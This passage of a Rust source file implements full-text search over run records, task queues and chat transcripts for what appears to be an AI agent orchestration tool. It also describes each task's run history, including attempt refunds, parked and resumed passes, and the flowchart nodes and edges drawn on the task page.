4372/// and cut a snippet around the first hit. `None` when a term is missing.
4373fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
4374    let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
4375    let mut first: Option<usize> = None;
4376    for term in terms {
4377        let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
4378        first = Some(first.map_or(at, |f| f.min(at)));
4379    }
4380    // The leaf holding the earliest hit of any term is where the snippet is cut.
4381    let (field, text) = leaves[first?];
4382    Some(SearchHit {
4383        id: String::new(),
4384        field: field.to_owned(),
4385        snippet: snippet_of(text, terms),
4386        run: None,
4387    })
4388}
4389
4390/// A window of `text` around the first occurrence of any term, whitespace
4391/// collapsed, with every term occurrence inside the window marked.
4392fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
4393    let chars: Vec<char> = text.chars().collect();
4394    let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
4395    let needles: Vec<Vec<char>> = terms
4396        .iter()
4397        .map(|t| t.chars().map(fold_char).collect())
4398        .collect();
4399    let find = |from: usize, to: usize| -> Option<(usize, usize)> {
4400        let mut best: Option<(usize, usize)> = None;
4401        for n in needles.iter().filter(|n| !n.is_empty()) {
4402            // `to` bounds where a match may start; it may run past `to` (the
4403            // caller clips what it shows). A term longer than the field cannot
4404            // occur in it (it may live in another leaf of the document).
4405            if n.len() > chars.len() || to == 0 {
4406                continue;
4407            }
4408            let last = (to - 1).min(chars.len() - n.len());
4409            if from > last {
4410                continue;
4411            }
4412            if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
4413                && best.is_none_or(|(b, _)| i < b)
4414            {
4415                best = Some((i, i + n.len()));
4416            }
4417        }
4418        best
4419    };
4420    let Some((start, _)) = find(0, chars.len()) else {
4421        // Matched only through a case mapping that changes length: show the head.
4422        let head: String = chars.iter().take(SNIPPET_AFTER).collect();
4423        return vec![SnippetPart {
4424            text: head.split_whitespace().collect::<Vec<_>>().join(" "),
4425            hit: false,
4426        }];
4427    };
4428    let lo = start.saturating_sub(SNIPPET_BEFORE);
4429    let hi = (start + SNIPPET_AFTER).min(chars.len());
4430    let mut parts: Vec<SnippetPart> = Vec::new();
4431    let mut push = |s: &[char], hit: bool| {
4432        if s.is_empty() {
4433            return;
4434        }
4435        let text: String = s.iter().collect();
4436        match parts.last_mut() {
4437            Some(p) if p.hit == hit => p.text.push_str(&text),
4438            _ => parts.push(SnippetPart { text, hit }),
4439        }
4440    };
4441    if lo > 0 {
4442        push(&['\u{2026}'], false);
4443    }
4444    let mut at = lo;
4445    while at < hi {
4446        match find(at, hi) {
4447            Some((s, e)) => {
4448                push(&chars[at..s], false);
4449                // A match running past the window is shown up to its edge.
4450                let shown = e.min(hi);
4451                push(&chars[s..shown], true);
4452                at = shown;
4453            }
4454            None => {
4455                push(&chars[at..hi], false);
4456                at = hi;
4457            }
4458        }
4459    }
4460    if hi < chars.len() {
4461        push(&['\u{2026}'], false);
4462    }
4463    // Collapse whitespace (newlines in an instruction) without disturbing the
4464    // hit boundaries.
4465    let mut prev_space = false;
4466    for p in &mut parts {
4467        let mut out = String::with_capacity(p.text.len());
4468        for c in p.text.chars() {
4469            if c.is_whitespace() {
4470                if !prev_space {
4471                    out.push(' ');
4472                }
4473                prev_space = true;
4474            } else {
4475                out.push(c);
4476                prev_space = false;
4477            }
4478        }
4479        p.text = out;
4480    }
4481    parts.retain(|p| !p.text.is_empty());
4482    parts
4483}
4484
4485/// The search over `docs` (id, document), newest first, capped.
4486fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
4487where
4488    I: IntoIterator<Item = (String, serde_json::Value)>,
4489{
4490    for (id, doc) in docs {
4491        let mut leaves = Vec::new();
4492        // The id is text an operator types too, and it is a map key on disk,
4493        // not a leaf.
4494        leaves.push(("id", id.as_str()));
4495        text_leaves(&doc, "", &mut leaves);
4496        if let Some(mut hit) = search_document(terms, &leaves) {
4497            view.total += 1;
4498            if view.hits.len() < SEARCH_MAX_HITS {
4499                hit.id = id;
4500                view.hits.push(hit);
4501            }
4502        }
4503    }
4504    view.truncated = view.total > view.hits.len();
4505}
4506
4507/// What a conversation is searched by: its list title and each turn's text,
4508/// under `operator` / `agent` so the snippet says who spoke. Nothing else
4509/// (session ids, repo paths, usage, drafts) is part of the document.
4510///
4511/// The title rule mirrors `talkOpener` / `firstLine` in `app.js`: the first
4512/// non-empty line of the first operator turn, trimmed and cut to 96 chars.
4513fn talk_search_doc(talk: &Talk) -> serde_json::Value {
4514    let opener = talk
4515        .turns
4516        .iter()
4517        .find(|t| t.who == crate::talk::Who::Operator)
4518        .and_then(|t| t.body.lines().map(str::trim).find(|l| !l.is_empty()))
4519        .unwrap_or("");
4520    let title: String = if opener.chars().count() > 96 {
4521        opener.chars().take(95).chain(['\u{2026}']).collect()
4522    } else {
4523        opener.to_owned()
4524    };
4525    let turns: Vec<serde_json::Value> = talk
4526        .turns
4527        .iter()
4528        .map(|t| {
4529            let who = match t.who {
4530                crate::talk::Who::Operator => "operator",
4531                crate::talk::Who::Agent => "agent",
4532            };
4533            serde_json::json!({ who: t.body })
4534        })
4535        .collect();
4536    serde_json::json!({ "title": title, "turns": turns })
4537}
4538
4539/// Read-only full-text search over every run's `run.json`, every task or every
4540/// conversation (title and transcript).
4541///
4542/// Documents are read as plain JSON rather than `RunState` / `Task`, so a
4543/// record from an older schema still searches; only a file that is not JSON
4544/// at all is counted in `unreadable`. `artifacts/*.out` are not searched.
4545async fn search_get(
4546    State(ui): State<Arc<Ui>>,
4547    Query(q): Query<SearchQuery>,
4548) -> ApiResult<Json<SearchView>> {
4549    let query = q.q.trim().to_owned();
4550    if query.is_empty() {
4551        return Err(ApiError::bad_request("q must not be empty"));
4552    }
4553    if query.chars().count() > SEARCH_MAX_QUERY {
4554        return Err(ApiError::bad_request(format!(
4555            "q is longer than {SEARCH_MAX_QUERY} characters"
4556        )));
4557    }
4558    let terms = search_terms(&query);
4559    if terms.len() > SEARCH_MAX_TERMS {
4560        return Err(ApiError::bad_request(format!(
4561            "q has more than {SEARCH_MAX_TERMS} terms"
4562        )));
4563    }
4564    let scope = q.scope;
4565    if scope != "runs" && scope != "tasks" && scope != "chats" {
4566        return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
4567    }
4568    blocking(move || {
4569        let mut view = SearchView {
4570            scope: scope.clone(),
4571            q: query,
4572            hits: Vec::new(),
4573            total: 0,
4574            truncated: false,
4575            unreadable: 0,
4576        };
4577        if scope == "runs" {
4578            let mut unreadable = 0;
4579            // One run.json is read, matched and dropped at a time; nothing
4580            // holds the whole history. The scan runs to the end even past the
4581            // hit cap so `total` and `unreadable` stay exact.
4582            let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
4583                let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
4584                match body.and_then(|b| serde_json::from_str(&b).ok()) {
4585                    Some(v) => Some((id, v)),
4586                    None => {
4587                        unreadable += 1;
4588                        None
4589                    }
4590                }
4591            });
4592            search_docs(&terms, docs, &mut view);
4593            view.unreadable = unreadable;
4594            // Only the capped hits get a row: the filters need a run's state,
4595            // and reading every match would be the whole history again.
4596            let (open_runs, claimed, superseded) = run_row_inputs(&ui);
4597            let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
4598            for hit in &mut view.hits {
4599                if let Ok(state) = read_run(&ui.runs, &hit.id) {
4600                    hit.run = summarize(
4601                        [state],
4602                        &open_runs,
4603                        &claimed,
4604                        &superseded,
4605                        |p| probe.borrow_mut().status(p),
4606                        |p| probe.borrow_mut().started_at(p),
4607                    )
4608                    .pop();
4609                }
4610            }
4611        } else if scope == "chats" {
4612            let (talks, unreadable) = ui.talks.list_counting_unreadable();
4613            view.unreadable = unreadable;
4614            search_docs(
4615                &terms,
4616                talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
4617                &mut view,
4618            );
4619        } else {
4620            let docs = ui.queue.list().into_iter().filter_map(|t| {
4621                let mut v = serde_json::to_value(&t).ok()?;
4622                // `source` serialises as a tagged object; the label is what
4623                // the operator reads ("human", "chat@a1b2").
4624                if let Some(o) = v.as_object_mut() {
4625                    o.insert("filed_by".to_owned(), t.source.label().into());
4626                }
4627                Some((t.id, v))
4628            });
4629            search_docs(&terms, docs, &mut view);
4630        }
4631        Ok(Json(view))
4632    })
4633    .await
4634}
4635
4636/// One attempt in a task's history, as the task page lists it.
4637#[derive(Debug, Serialize)]
4638struct TaskRunView {
4639    /// 1-based position in [`Task::runs`].
4640    n: usize,
4641    id: String,
4642    short: String,
4643    /// `competition`, `solo`, `review`, `resume` or `unknown` (record unreadable).
4644    kind: &'static str,
4645    /// The run's own status string; `None` when its record cannot be read.
4646    status: Option<&'static str>,
4647    /// Whether this build could read the run's record. Counted, never hidden.
4648    readable: bool,
4649    /// A verdict from a collapsed panel is provisional, never a decision.
4650    provisional: bool,
4651    /// What kind of attempt this was, in one line.
4652    description: String,
4653    /// How it ended and why the task moved on (or what it is doing now).
4654    outcome: String,
4655    created_at: Option<Timestamp>,
4656    pr: Option<String>,
4657    /// Why this pass ended, classified once; the flowchart is built from it.
4658    exit: RunExit,
4659    /// What the pass did to the task's attempt budget.
4660    attempt: AttemptCost,
4661    /// Edge wording for leaving this entry; names the recorded cause when
4662    /// there is one.
4663    exit_label: String,
4664    /// The position of a later entry for the same run: this entry is an
4665    /// earlier pass of it.
4666    later_pass: Option<usize>,
4667    /// Which pass over the run this entry is (1-based) and how many entries
4668    /// the task lists for the run. Counted from the list, so known even for
4669    /// a legacy record.
4670    pass_n: usize,
4671    passes_of_run: usize,
4672    /// What the run recorded about this pass; `None` for a record from before
4673    /// passes were kept, whose cause stays unknown.
4674    pass: Option<PassView>,
4675    /// The branch a review-only run reopened.
4676    branch: Option<String>,
4677    /// The badge word when it differs from `status` (`stale` / `superseded`);
4678    /// filled by the task route, which can see liveness and later attempts.
4679    badge: Option<String>,
4680}
4681
4682/// One recorded pass over a run, for the wire.
4683#[derive(Debug, Clone, PartialEq, Serialize)]
4684struct PassView {
4685    index: usize,
4686    resumed: bool,
4687    started_at: Timestamp,
4688    ended_at: Option<Timestamp>,
4689    /// `open`, `parked` or `unrecorded`.
4690    end: &'static str,
4691    cause: Option<crate::run::ParkCause>,
4692    /// One line: why it stopped, or that nobody recorded why.
4693    label: String,
4694    /// What the task recorded for this pass; `None` when it was not settled
4695    /// (or settled by a build that kept no record).
4696    cost: Option<crate::queue::PassCost>,
4697}
4698
4699impl PassView {
4700    fn of(p: &crate::run::RunPass, settled: Option<&crate::queue::TaskPass>) -> Self {
4701        use crate::run::PassEnd;
4702        let (end, cause, label) = match &p.end {
4703            None => ("open", None, "still open".to_owned()),
4704            Some(PassEnd::Parked { cause }) => ("parked", Some(cause.clone()), cause.label()),
4705            Some(PassEnd::Unrecorded) => (
4706                "unrecorded",
4707                None,
4708                "stopped without recording why (a crash, a kill or a restart; not known)"
4709                    .to_owned(),
4710            ),
4711        };
4712        Self {
4713            index: p.index,
4714            resumed: p.resumed,
4715            started_at: p.started_at,
4716            ended_at: p.ended_at,
4717            end,
4718            cause,
4719            label,
4720            cost: settled.map(|t| t.cost),
4721        }
4722    }
4723}
4724
4725/// How one pass over a run ended, as far as the task's life is concerned.
4726#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4727#[serde(rename_all = "snake_case")]
4728enum RunExit {
4729    Unreadable,
4730    /// An earlier pass of a run id that appears again: it stopped short.
4731    Interrupted,
4732    Parked,
4733    QuotaStall,
4734    /// Stalled on a resumed pass with quota losses on record: they may be
4735    /// left over from an earlier pass, so whether this one was refunded is
4736    /// not knowable.
4737    ResumedQuotaStall,
4738    Merged,
4739    Ready,
4740    Superseded,
4741    /// The change was already on the base under other commits: the task
4742    /// finished without this run landing anything.
4743    AlreadyInBase,
4744    /// Stalled without a rate limit to blame: no verdict, attempt spent.
4745    Stalled,
4746    /// Blocked / no-op with a pull request left open: held for a person.
4747    HeldWithPr,
4748    NoopHeld,
4749    /// Blocked or failed: the attempt is spent and the task retries or holds.
4750    Spent,
4751    InProgress,
4752}
4753
4754#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4755#[serde(rename_all = "snake_case")]
4756enum AttemptCost {
4757    Spent,
4758    Refunded,
4759    None,
4760    /// Cannot be told from the records that remain.
4761    Unknown,
4762}
4763
4764impl RunExit {
4765    fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
4766        let Some(s) = s else {
4767            return Self::Unreadable;
4768        };
4769        let status = s.status;
4770        if resumed_later {
4771            Self::Interrupted
4772        } else if s.parked {
4773            Self::Parked
4774        } else if !status.done() {
4775            Self::InProgress
4776        } else if matches!(status, RunStatus::Merged) {
4777            Self::Merged
4778        } else if matches!(status, RunStatus::Ready) {
4779            Self::Ready
4780        } else if matches!(status, RunStatus::Superseded) {
4781            Self::Superseded
4782        } else if matches!(status, RunStatus::AlreadyInBase) {
4783            Self::AlreadyInBase
4784        } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4785            || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4786        {
4787            if resumed {
4788                Self::ResumedQuotaStall
4789            } else {
4790                Self::QuotaStall
4791            }
4792        } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4793            Self::HeldWithPr
4794        } else if matches!(status, RunStatus::VerifiedNoop) {
4795            Self::NoopHeld
4796        } else if matches!(status, RunStatus::Stalled) {
4797            Self::Stalled
4798        } else {
4799            Self::Spent
4800        }
4801    }
4802
4803    fn cost(self) -> AttemptCost {
4804        match self {
4805            Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
4806            Self::Merged
4807            | Self::Ready
4808            | Self::Stalled
4809            | Self::HeldWithPr
4810            | Self::NoopHeld
4811            | Self::Spent => AttemptCost::Spent,
4812            Self::InProgress => AttemptCost::None,
4813            Self::AlreadyInBase => AttemptCost::Refunded,
4814            Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
4815                AttemptCost::Unknown
4816            }
4817        }
4818    }
4819
4820    /// Short edge wording for leaving a run this way.
4821    fn edge_label(self, status: Option<&str>) -> String {
4822        match self {
4823            Self::Unreadable => "record unreadable".to_owned(),
4824            Self::Interrupted => "interrupted before the run finished".to_owned(),
4825            Self::Parked => "parked, attempt refunded".to_owned(),
4826            Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
4827            Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
4828            Self::Merged => "merged".to_owned(),
4829            Self::Ready => "ready, not merged".to_owned(),
4830            Self::Superseded => "superseded by a later attempt".to_owned(),
4831            Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
4832            Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
4833            Self::HeldWithPr => "blocked, PR left open".to_owned(),
4834            Self::NoopHeld => "verified no-op".to_owned(),
4835            Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
4836            Self::InProgress => "in progress".to_owned(),
4837        }
4838    }
4839
4840    /// Does a task in `end` follow from a run that ended this way? When not,
4841    /// somebody closed or held the task by hand.
4842    fn explains(self, end: TaskStatus) -> bool {
4843        match self {
4844            Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
4845            Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
4846            Self::Unreadable | Self::Superseded | Self::Ready => true,
4847            _ => end != TaskStatus::Done,
4848        }
4849    }
4850}
4851
4852/// `GET /api/queue/{id}` - one task with every attempt it went through.
4853#[derive(Debug, Serialize)]
4854struct TaskDetailView {
4855    #[serde(flatten)]
4856    task: TaskView,
4857    /// Task override, or the default daemon budget when inherited.
4858    /// A separate loop's command-line limit is not visible from here.
4859    max_attempts: usize,
4860    history: Vec<TaskRunView>,
4861    /// Entries in `history`: passes over runs, not distinct runs and not
4862    /// attempts consumed (`task.attempts`).
4863    passes_total: usize,
4864    /// Distinct runs those passes belong to.
4865    runs_distinct: usize,
4866    flow: FlowView,
4867    /// Set for a follow-up task; see [`followup_origin`].
4868    followup_origin: Option<FollowUpOrigin>,
4869    /// How many entries of `history` could not be read.
4870    runs_unreadable: usize,
4871    /// Why the attempt count can be lower than the number of runs.
4872    attempts_note: &'static str,
4873}
4874
4875const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
4876and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
4877on an agent rate limit or was parked for an upgrade. A resumed run appears again in the list as another pass over the same run, so \
4878the entries listed can outnumber the attempts shown after a release or a handed-back attempt.";
4879
4880/// The branch a review-only run reopened, read off the instruction
4881/// `Runner::open_review` writes.
4882fn review_branch_of(instruction: &str) -> Option<&str> {
4883    let rest = instruction.strip_prefix("Review the work already on branch `")?;
4884    rest.split('`').next().filter(|b| !b.is_empty())
4885}
4886
4887/// Where an entry sits in a task's run list.
4888#[derive(Default)]
4889struct RunSlot<'a> {
4890    /// 1-based position.
4891    n: usize,
4892    /// The same run id appeared earlier: this pass resumed it.
4893    resumed: bool,
4894    /// Position of a later pass over the same run id, if any.
4895    resumed_later: Option<usize>,
4896    /// The previous distinct run and how it ended, for the retry note.
4897    prior: Option<(&'a str, RunStatus)>,
4898    last: bool,
4899    /// This pass as the run recorded it, when it did.
4900    pass: Option<&'a crate::run::RunPass>,
4901    /// What the task recorded when it settled this pass.
4902    settled: Option<&'a crate::queue::TaskPass>,
4903    /// 1-based position among the task's entries for this run, and their count.
4904    pass_n: usize,
4905    passes_of_run: usize,
4906}
4907
4908/// Describe one entry of a task's run list. Pure: everything it needs is on
4909/// the run and the task, so it is asserted without a server.
4910fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
4911    let RunSlot {
4912        n,
4913        resumed,
4914        resumed_later,
4915        prior,
4916        last,
4917        pass,
4918        settled,
4919        pass_n,
4920        passes_of_run,
4921    } = at;
4922    let short = run::short_of(id).to_owned();
4923    let Some(s) = state else {
4924        return TaskRunView {
4925            n,
4926            id: id.to_owned(),
4927            short,
4928            kind: "unknown",
4929            status: None,
4930            readable: false,
4931            provisional: false,
4932            description:
4933                "This run's record could not be read by this build (written by a different \
4934                          magi, or removed), so what kind of attempt it was is unknown."
4935                    .to_owned(),
4936            outcome: String::new(),
4937            created_at: None,
4938            pr: None,
4939            exit: RunExit::Unreadable,
4940            attempt: AttemptCost::Unknown,
4941            exit_label: RunExit::Unreadable.edge_label(None),
4942            later_pass: resumed_later,
4943            pass_n,
4944            passes_of_run,
4945            pass: None,
4946            branch: None,
4947            badge: None,
4948        };
4949    };
4950    let branch = review_branch_of(&s.instruction);
4951    let kind = if resumed {
4952        "resume"
4953    } else if branch.is_some() {
4954        "review"
4955    } else if task.solo || s.candidates.len() == 1 {
4956        "solo"
4957    } else {
4958        "competition"
4959    };
4960    let mut description = match kind {
4961        "resume" => {
4962            format!("Resumed run {short}: the same run carried on instead of competing again.")
4963        }
4964        "review" => format!(
4965            "Review the work already on branch `{}`: a review-only pass, no new implementation.",
4966            branch.unwrap_or_default()
4967        ),
4968        "solo" => "Solo run: one implementer straight into review.".to_owned(),
4969        _ => format!(
4970            "Competition: {} candidates judged blind.",
4971            s.candidates.len().max(1)
4972        ),
4973    };
4974    if !resumed && let Some((p, st)) = prior {
4975        description.push_str(&format!(
4976            " A retry: run {p} before it ended {}.",
4977            st.display_label()
4978        ));
4979    }
4980
4981    let status = s.status;
4982    let provisional = matches!(status, RunStatus::Stalled)
4983        || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
4984    let head = if resumed_later.is_some() {
4985        String::new()
4986    } else {
4987        match status {
4988            RunStatus::Merged => "Merged.".to_owned(),
4989            RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
4990            RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
4991            RunStatus::AlreadyInBase => {
4992                "Already in the base: this change landed under other commits, nothing was left to land."
4993                    .to_owned()
4994            }
4995            RunStatus::Stalled => {
4996                "Stalled: the judging panel never reached a quorum, so there is no verdict."
4997                    .to_owned()
4998            }
4999            RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
5000            RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
5001            RunStatus::VerifiedNoop => {
5002                "Verified no-op: the candidates found nothing to change.".to_owned()
5003            }
5004            other if other.done() => format!("Ended {}.", other.display_label()),
5005            other => format!("In progress ({}).", other.display_label()),
5006        }
5007    };
5008    let view = pass.map(|p| PassView::of(p, settled));
5009    let recorded_end = view
5010        .as_ref()
5011        .filter(|v| matches!(v.end, "parked" | "unrecorded"));
5012    let cost_words = match view.as_ref().and_then(|v| v.cost) {
5013        Some(crate::queue::PassCost::Refunded) => "its attempt was handed back",
5014        Some(crate::queue::PassCost::Spent) => "its attempt stayed counted",
5015        None => "whether its attempt was handed back was not recorded",
5016    };
5017    let pass_note = if passes_of_run > 1 {
5018        format!(
5019            " This is pass {pass_n} of {passes_of_run} over run {short}: one run, resumed, not {passes_of_run} separate runs."
5020        )
5021    } else {
5022        String::new()
5023    };
5024    let why = if let (Some(k), Some(v)) = (resumed_later, recorded_end) {
5025        // The run recorded this pass's end when it happened.
5026        let cause = match v.end {
5027            "parked" => format!("It was stopped on purpose: {}.", v.label),
5028            _ => format!("It {}.", v.label),
5029        };
5030        format!(
5031            " {cause} {}; pass #{k} resumed the same run.{pass_note}",
5032            capitalise(cost_words)
5033        )
5034    } else if let Some(k) = resumed_later {
5035        // A run is only picked up again while it is unfinished, so an earlier
5036        // pass of a repeated id stopped short; the record keeps only the run's
5037        // latest status, which is left to the pass that carried it on.
5038        // Only the latest state is recorded: `parked` is cleared on resume
5039        // and `quota` accumulates across passes, so neither says why *this*
5040        // pass stopped, and the refund is as unknown as `AttemptCost` says.
5041        let cause = if s.quota.is_empty() {
5042            "the cause was not recorded: a park, a crash or a restart all look the same from here"
5043        } else {
5044            "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
5045        };
5046        format!(
5047            " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
5048        )
5049    } else if s.parked {
5050        match recorded_end.and_then(|v| v.cause.as_ref()) {
5051            Some(cause) => format!(
5052                " Parked at a node boundary ({}); {} and the run resumes.{pass_note}",
5053                cause.label(),
5054                cost_words
5055            ),
5056            None => " Parked at a node boundary; the attempt was handed back and the run resumes."
5057                .to_owned(),
5058        }
5059    } else if !status.done()
5060        || matches!(
5061            status,
5062            RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
5063        )
5064    {
5065        String::new()
5066    } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
5067        || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
5068    {
5069        " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
5070            .to_owned()
5071    } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
5072        " It left a pull request open, so the task was held for a person rather than retried."
5073            .to_owned()
5074    } else if matches!(status, RunStatus::VerifiedNoop) {
5075        " Held for a person to check the claim.".to_owned()
5076    } else if last {
5077        " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
5078    } else {
5079        " It spent an attempt, and the task moved on to the next run.".to_owned()
5080    };
5081    let mut exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
5082    let mut attempt = exit.cost();
5083    let mut exit_label = None;
5084    if let Some(v) = recorded_end.filter(|_| resumed_later.is_some() || s.parked) {
5085        let spent = match v.cost {
5086            Some(crate::queue::PassCost::Refunded) => ", attempt refunded",
5087            Some(crate::queue::PassCost::Spent) => ", attempt counted",
5088            None if resumed_later.is_some() => ", refund not recorded",
5089            None => ", attempt refunded",
5090        };
5091        attempt = match v.cost {
5092            Some(crate::queue::PassCost::Refunded) => AttemptCost::Refunded,
5093            Some(crate::queue::PassCost::Spent) => AttemptCost::Spent,
5094            None if resumed_later.is_some() => AttemptCost::Unknown,
5095            None => attempt,
5096        };
5097        if v.end == "parked" {
5098            exit = RunExit::Parked;
5099            exit_label = Some(match v.cause.as_ref() {
5100                Some(c @ crate::run::ParkCause::Upgrade { .. }) => {
5101                    format!("parked for {}{spent}", c.label())
5102                }
5103                Some(c) => format!("parked ({}){spent}", c.label()),
5104                None => format!("parked{spent}"),
5105            });
5106        } else {
5107            exit_label = Some(format!("stopped without a recorded cause{spent}"));
5108        }
5109    }
5110    let exit_label = exit_label.unwrap_or_else(|| exit.edge_label(Some(status.as_str())));
5111    TaskRunView {
5112        n,
5113        id: id.to_owned(),
5114        short,
5115        kind,
5116        status: Some(status.as_str()),
5117        readable: true,
5118        provisional,
5119        description,
5120        outcome: format!("{head}{why}"),
5121        created_at: Some(s.created_at),
5122        pr: s.pr.as_ref().map(|p| p.url.clone()),
5123        exit,
5124        attempt,
5125        exit_label,
5126        later_pass: resumed_later,
5127        pass_n,
5128        passes_of_run,
5129        pass: view,
5130        branch: branch.map(str::to_owned),
5131        badge: None,
5132    }
5133}
5134
5135fn capitalise(s: &str) -> String {
5136    let mut c = s.chars();
5137    c.next().map_or_else(String::new, |f| {
5138        f.to_uppercase().collect::<String>() + c.as_str()
5139    })
5140}
5141
5142/// One box of the task's flowchart.
5143#[derive(Debug, Serialize, PartialEq)]
5144struct FlowNode {
5145    /// Unique by position: a resumed run id appears once per pass.
5146    key: String,
5147    /// `chat`, `followup`, `start`, `run` or `end`.
5148    kind: &'static str,
5149    label: String,
5150    /// Run status (or the task's, for `end`); `None` when it is not a fact
5151    /// about this box (unreadable, or a pass the run later resumed from).
5152    status: Option<&'static str>,
5153    /// Whose status `status` is, so the client picks the right colour table:
5154    /// `task` (the `followup` parent and `end`) or `run`.
5155    status_of: &'static str,
5156    /// Why there is no status: `unreadable`, `interrupted` or `no verdict`.
5157    note: Option<&'static str>,
5158    run_kind: Option<&'static str>,
5159    detail: Option<String>,
5160    /// A readable run with a real verdict; a stall never is.
5161    decided: bool,
5162    readable: bool,
5163    href: Option<String>,
5164    /// Overrides `status` as the badge word (`stale` / `superseded`).
5165    badge: Option<String>,
5166    /// Start of this entry, never the run's latest update or pass settlement.
5167    started_at: Option<Timestamp>,
5168    /// Context links (chat / follow-up) do not represent execution entries.
5169    time_expected: bool,
5170}
5171
5172#[derive(Debug, Serialize, PartialEq)]
5173struct FlowEdge {
5174    from: String,
5175    to: String,
5176    label: String,
5177    attempt: AttemptCost,
5178}
5179
5180#[derive(Debug, Serialize, PartialEq)]
5181struct FlowView {
5182    nodes: Vec<FlowNode>,
5183    edges: Vec<FlowEdge>,
5184    /// Attempts the task has counted since it was last released.
5185    attempts: usize,
5186    max_attempts: usize,
5187    /// Entries in the run list (passes), and how many distinct runs they are.
5188    /// Neither is the number of attempts consumed.
5189    passes: usize,
5190    runs: usize,
5191}
5192
5193/// Turn a task and its described runs into the flowchart's boxes and arrows.
5194/// Pure: the page only draws what this returns.
5195///
5196/// A follow-up opens with its parent (or the merged run) unless the task's
5197/// *source* is itself a chat, in which case the chat stays first and the
5198/// follow-up node comes second. An inherited `Task::origin_chat` alone never
5199/// adds a chat node: `crate::followup` files with `node: "followup"`, so the
5200/// two normally do not coincide and the nearer origin wins.
5201fn task_flow(
5202    task: &Task,
5203    history: &[TaskRunView],
5204    max_attempts: usize,
5205    origin: Option<&FollowUpOrigin>,
5206) -> FlowView {
5207    let max_attempts = task.effective_attempt_limit(max_attempts);
5208    let node = |key: &str, kind, label: String| FlowNode {
5209        key: key.to_owned(),
5210        kind,
5211        label,
5212        status: None,
5213        status_of: "run",
5214        note: None,
5215        run_kind: None,
5216        detail: None,
5217        decided: false,
5218        readable: true,
5219        href: None,
5220        badge: None,
5221        started_at: None,
5222        time_expected: matches!(kind, "start" | "run" | "end"),
5223    };
5224    let mut nodes = Vec::new();
5225    let mut edges: Vec<FlowEdge> = Vec::new();
5226    // A task queued from a chat opens the flow with that conversation.
5227    if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
5228        let mut n = node(
5229            "chat",
5230            "chat",
5231            format!("Chat {}", crate::queue::short(&link.id)),
5232        );
5233        n.href = Some(link.href);
5234        nodes.push(n);
5235        edges.push(FlowEdge {
5236            from: "chat".to_owned(),
5237            to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
5238            label: "queued from chat".to_owned(),
5239            attempt: AttemptCost::None,
5240        });
5241    }
5242    if let Some(o) = origin {
5243        let mut n = match &o.parent {
5244            Some(p) => {
5245                let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
5246                n.status = Some(p.status);
5247                n.status_of = "task";
5248                n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
5249                n.href = Some(p.href.clone());
5250                n
5251            }
5252            None => {
5253                let mut n = node(
5254                    "origin",
5255                    "followup",
5256                    format!("Follow-up of run {}", o.run.short),
5257                );
5258                n.detail = Some("merged run".to_owned());
5259                n.status = o.run.status;
5260                n.href = o.run.href.clone();
5261                if o.run.href.is_none() {
5262                    n.readable = false;
5263                    n.note = Some("unreadable");
5264                }
5265                n
5266            }
5267        };
5268        n.decided = true;
5269        let from = n.key.clone();
5270        nodes.push(n);
5271        let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
5272        let more = o.findings.len().saturating_sub(shown.len());
5273        let label = match (shown.is_empty(), more) {
5274            (true, _) => "open findings".to_owned(),
5275            (false, 0) => format!("open findings {}", shown.join(", ")),
5276            (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
5277        };
5278        edges.push(FlowEdge {
5279            from,
5280            to: "start".to_owned(),
5281            label,
